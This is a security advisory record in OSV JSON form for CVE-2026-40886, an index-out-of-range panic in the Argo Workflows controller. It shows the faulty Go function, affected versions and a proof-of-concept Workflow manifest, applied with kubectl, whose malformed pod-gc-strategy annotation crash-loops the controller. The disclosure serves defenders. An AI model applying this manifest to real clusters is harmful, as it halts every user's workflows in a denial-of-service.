{"id":"GHSA-5jv8-h7qh-rf5p","summary":"Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo Workflows Controller","details":"### Summary\n\nAn unchecked array index in the pod informer's `podGCFromPod()` function causes a controller-wide panic when a workflow pod carries a malformed `workflows.argoproj.io/pod-gc-strategy` annotation. Because the panic occurs inside an informer goroutine (outside the controller's `recover()` scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.\n\n### Details\n\n`podGCFromPod()` splits the annotation value on \"/\" and unconditionally accesses `parts[1]`:\n\n```go\nfunc podGCFromPod(pod *apiv1.Pod) wfv1.PodGC {\n    if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok {\n        parts := strings.Split(val, \"/\")\n        return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]}\n    }\n    return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone}\n}\n```\n\nIf the annotation value contains no \"/\", `parts` has length 1 and `parts[1]` panics with index out of range.\n\nThe code was introduced in [#14129](https://github.com/argoproj/argo-workflows/issues/14129) and  affects versions:\n\n  - 3.6.x: v3.6.5 through v3.6.19 (backport in [#14263](https://github.com/argoproj/argo-workflows/issues/14263))\n  - 3.7.x: v3.7.0-rc1 through v3.7.12\n  - 4.x: v4.0.0-rc1 through v4.0.3\n  - Not affected: v3.6.4 and earlier\n\n### PoC\n\nApply this workflow to a cluster running the Argo Workflows controller:\n\n```bash\nkubectl apply -n argo -f - \u003c\u003c'EOF'\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  name: crash-podgc\nspec:\n  entrypoint: main\n  serviceAccountName: default\n  podGC:\n    strategy: OnPodCompletion\n  podMetadata:\n    annotations:\n      workflows.argoproj.io/pod-gc-strategy: \"NoSlash\"\n  templates:\n    - name: main\n      container:\n        image: alpine:3.18\n        command: [echo, \"hello\"]\nEOF\n```\n\nWithin seconds the controller crashes. The controller pod will show `CrashLoopBackOff` with increasing restart count. Controller logs show:\n\n```\npanic: runtime error: index out of range [1] with length 1\n\ngoroutine 291 [running]:\ngithub.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...)\n    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176\ngithub.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...)\n    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197\ngithub.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...)\n    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246\n```\n\nRecovery requires deleting the poisoned workflow:\n\n```\nkubectl delete workflow -n argo crash-podgc\n```\n\n### Impact\n\nAny user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only `create` permission on Workflow resources, which is the baseline permission for any Argo Workflows user.","aliases":["BIT-argo-workflows-2026-40886","CVE-2026-40886","GO-2026-5148"],"modified":"2026-07-17T21:08:08.119700097Z","published":"2026-04-23T21:39:21Z","database_specific":{"nvd_published_at":"2026-04-23T19:17:28Z","cwe_ids":["CWE-129"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-04-23T21:39:21Z"},"references":[{"type":"WEB","url":"https://github.com/argoproj/argo-workflows/security/advisories/GHSA-5jv8-h7qh-rf5p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40886"},{"type":"PACKAGE","url":"https://github.com/argoproj/argo-workflows"}],"affected":[{"package":{"name":"github.com/argoproj/argo-workflows/v4","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-workflows/v4"},"ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.0.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-5jv8-h7qh-rf5p/GHSA-5jv8-h7qh-rf5p.json"}},{"package":{"name":"github.com/argoproj/argo-workflows/v3","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-workflows/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.7.0"},{"fixed":"3.7.14"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-5jv8-h7qh-rf5p/GHSA-5jv8-h7qh-rf5p.json"}},{"package":{"name":"github.com/argoproj/argo-workflows/v3","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-workflows/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.6.5"},{"last_affected":"3.6.19"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-5jv8-h7qh-rf5p/GHSA-5jv8-h7qh-rf5p.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H"}]}